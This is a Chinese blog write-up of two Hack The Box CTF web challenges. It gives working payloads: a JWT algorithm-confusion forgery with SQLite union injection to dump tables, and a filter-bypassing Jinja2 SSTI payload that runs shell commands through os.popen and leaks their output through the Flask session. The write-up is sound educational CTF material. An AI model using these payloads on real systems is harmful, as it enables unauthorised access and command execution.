HTB-Under Construction & baby ninja jinja

HTB-Under Construction & baby ninja jinja


学习了一下关于nodejs和python SSTI的一些比较有意思的操作

Under Construction

题目直接给了源码,拿下来分析一下

image_1f5ak6p5q1h4a10rmf9k1a43ip09.png-25.3kB

大概审计一下,index.js没太多主要内容,router目录下文件主要设置功能路由,主要的功能还是在helpers目录下

DBHelper.js

const sqlite = require('sqlite3');

const db = new sqlite.Database('./database.db', err => {
    if (!!err) throw err;
    console.log('Connected to SQLite');
});

module.exports = {
    getUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
                if (err) return rej(err);
                res(data);
            });
        });
    },
    checkUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
                if (err) return rej();
                res(data === undefined);
            });
        });
    },
    createUser(username, password){
        let query = 'INSERT INTO users(username, password) VALUES(?,?)';
        let stmt = db.prepare(query);
        stmt.run(username, password);
        stmt.finalize();
    },
    attemptLogin(username, password){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
                if (err) return rej();
                res(data !== undefined);
            });
        });
    }
}

JWTHelper.js

const fs = require('fs');
const jwt = require('jsonwebtoken');

const privateKey = fs.readFileSync('./private.key', 'utf8');
const publicKey  = fs.readFileSync('./public.key', 'utf8');

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

主要分析一下内容,DBHelper主要是对数据库进行用户的增加和查询,不过可以发现

image_1f5an507lgpm1hsv169s1f90t2mm.png-80kB

我们在getUser时,所输入的参数未经过任何的过滤便传输到了数据库中,造成了sql注入,跟一下该参数获取的方式

image_1f5anbidd1dmr1n3g1k6r8pd196b1f.png-60.7kB

再次跟进一下req.data.username

image_1f5anf9ld1rr51o3fkfso07gsg2f.png-64.3kB

发现username是从session中获取的,session是由JWTHelper.decode进行解密的,查看一下该函数代码

image_1f5anj1k91quo1qdq1k9s140l1o4l2s.png-90.1kB

发现session是通过JWT的方式进行加密解密的,那么这道题目的思路就比较清晰了,我们需要在session中对username进行注入的构造,再对其进行加密,这里正常的进行JWT加密是需要private.key的,不过这里导入的库是存在漏洞的

image_1f5ao09gk1b3t1do2195t1rvsug839.png-79.5kB

简单来说由于题目在加解密时利用的方式为RS256和HS256,此时会造成公钥混淆漏洞,在我们已知公钥的情况下,可以在不利用私钥的情况下对数据进行加密,那么下一步就是利用该漏洞了,首先我们需要获取到题目公钥,根据代码可以看到,公钥是在session中的,我们注册一个用户,查看一下session

image_1f5aojuji8kbga114n15fp1sf546.png-86.5kB

使用jwt.io对我们的session进行分析

image_1f5aonhfurb71btv8kp1p0n16uj4j.png-225.1kB

发现公钥和我们的用户名,然后利用工具进行session的构造,这里使用jwttools

题目地址:

https://github.com/ticarpi/jwt_tool

这个工具的用法比较多,无奈英文不太好,而且找了半天也没有新版的教程,我最后下载的是1.3.5的版本

image_1f5aplgpf126bjsl5d8l0k1p7q50.png-389.2kB

可以看到,工具对传输的SESSION进行了简单的分析,输入0继续下一步

image_1f5apssr1f9e1ol67kmpme1jqr5d.png-213.8kB

在这一步,jwttools对我们的session具体内容进行了分析,我们需要对session中的username进行修改,可以看到username所对应的数字是1,输入1对用户名进行修改,这里测试发现,数据库报错信息为sqlite,且对#无法识别,所以最后用的payload为:

ad' order by 4 --+`

image_1f5at3eeh72gta1bto1sahais5q.png-324.9kB

看到session中的用户名成功修改,下一步就是生成cookie,我们选择生成的方式

image_1f5cl2v13sfve5g16nt1lid15179.png-160.1kB

根据我们目前所有的条件,我们现有的是公钥,且加密方式为HS/RSA,我们选择第四种方式进行操作

image_1f5cl7svdpva1btbmgfgpkc8um.png-308.7kB

输入公钥文件名

image_1f5cld3251gam1s3m4ii13b47g213.png-287.2kB

成功生成我们的session,替换一下查看,发现提示不存在第四列,证明我们成功写入了注入语句,具体的注入过程就不在一一进行演示,在测试出存在3列数据后,我们直接联合查询获取数据

image_1f5cna32l1pq8taimqa1n407ka1g.png-92.2kB

发现显示位为2,尝试一下注入,这里要注意,数据库为sqlite,我们找一下相关数据库注入的语句方式

https://xz.aliyun.com/t/8627

image_1f5cnmodla10i5a8u1ns3bg71t.png-35kB

然后发现sqlite注入是需要”;“结尾的,而且会对”#“当作过滤符号,所以再次尝试构造一下

0' union select 1,sql,3 from sqlite_master; #`

image_1f5cnvbde5ss1p3310bl8s91njr2a.png-106.2kB

成功执行,获取到了表名和字段名,直接读一下flag

ad' union select 1,top_secret_flaag,3 from flag_storage;#`

image_1f5co9fmd1urp199e6b116p0rlq2n.png-118kB

成功获取到flag

baby ninja jinja

image_1f5cp0ett1klsunp9no1c34t0t34.png-169kB

查看一下源码,发现提示,让我们访问debug页面,获取到题目的源码

from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)

acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect('/tmp/ninjas.db')
        db.isolation_level = None
        db.row_factory = sqlite3.Row
        db.text_factory = (lambda s: s.replace('{{', '').
            replace("'", ''').
            replace('"', '"').
            replace('<', '<').
            replace('>', '>')
        )
    return db

def query_db(query, args=(), one=False):
    with app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], str(value)) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        return (rv[0] if rv else None) if one else rv

@app.before_first_request
def init_db():
    with app.open_resource('schema.sql', mode='r') as f:
        get_db().cursor().executescript(f.read())

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None: db.close()

def rite_of_passage(func):
    @functools.wraps(func)
    def born2pwn(*args, **kwargs):

        name = request.args.get('name', '')

        if name:
            query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)

            report = render_template_string(acc_tmpl.
                replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
                replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
            )

            if session.get('leader'): 
                return report

            return render_template('welcome.jinja2')
        return func(*args, **kwargs)
    return born2pwn

@app.route('/')
@rite_of_passage
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

分析一下题目的大概执行流程,主要在rite_of_passage函数内

image_1f5ctqui06ii1g2jn77ihb1eg941.png-74.9kB

首先是将我们传输的name参数存入数据库中,之后在report中将我们传输进去的name参数取出并进行模板渲染

image_1f5ctuf141bbm1piccmepuv1s1p4e.png-14.3kB

在此处存在SSTI模板注入,不过在get_db()中对我们传输的部分数据进行了过滤和替换

image_1f5cu0ksm11emdnicpsun51g7b4r.png-28.3kB

对我们的特殊符号进行了实体化编码,构造一下payload

{{ 我们可以用{%绕过
双引号和单引号我们可以使用get参数进行绕过,比如
('os').system('ls') 转化为 (request.args.os).system(request.args.command)&os=os&command=ls

绕过之后还有回显的问题,因为我们使用{%进行模板注入,数据是无法正常显示的,正常我们的做题想法是执行命令后想办法取出结果中的每个字符进行盲注拼接,不过这道题,我从歪国老哥那里学了一个骚思路,通过session去携带数据,与interdimensional internet题目相同,既然题目中导入了session,我们既然能模板注入的话,直接修改session,讲我们获取到的文件内容作为session变量的值,然后再对session进行解密,我们就达到回显数据的目的了,所以我们需要让题目执行:

sesssion.update({'pdsdt':'admin'})

再构造绕过单引号

session.update(request.args.pdsdt:request.args.payload)&pdsdt=pdsdt&payload=xxx

再优化一下payload

session.update(request.args.pdsdt:request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.command).read())&pdsdt=pdsdt&os=os&command=whoami

配合一下{%,由于要执行的是判断语句,构造一下

最后的payload:
{%if session.update({request.args.pdsdt:request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.command).read()}) == 1%}{% endif %}&pdsdt=pdsdt&os=os&command=whoami

尝试执行一下

image_1f5d08roc1srtdt01qdsb42cko58.png-108.1kB

解密一下session

image_1f5d0a29eqitsd2f6ug8k1he55l.png-40kB

成功执行,随后cat一下flag即可

image_1f5d0d51b12kc1ntl2ih1kipc262.png-76.4kB


3 thoughts on “HTB-Under Construction & baby ninja jinja”

  • 2021.5.13 早 晴☀
    随手翻开Pdsdt师傅的一篇文章,立刻让我被师傅丰富的辞藻和深厚的技术功底吸引,不禁让我感叹
    “崔瞻文词之美,实有可称,但举世重其风流,所以才华见没”,逐字分析完师傅的文章,这高水准的质量让小弟生的惭愧,也恰好反映了一些复制粘贴的又翻看一遍,仿佛置身于安全的梦幻之巅,只能说望有朝一日能和师傅一般左比泰斗,右比穹苍👍

发表评论

邮箱地址不会被公开。 必填项已用*标注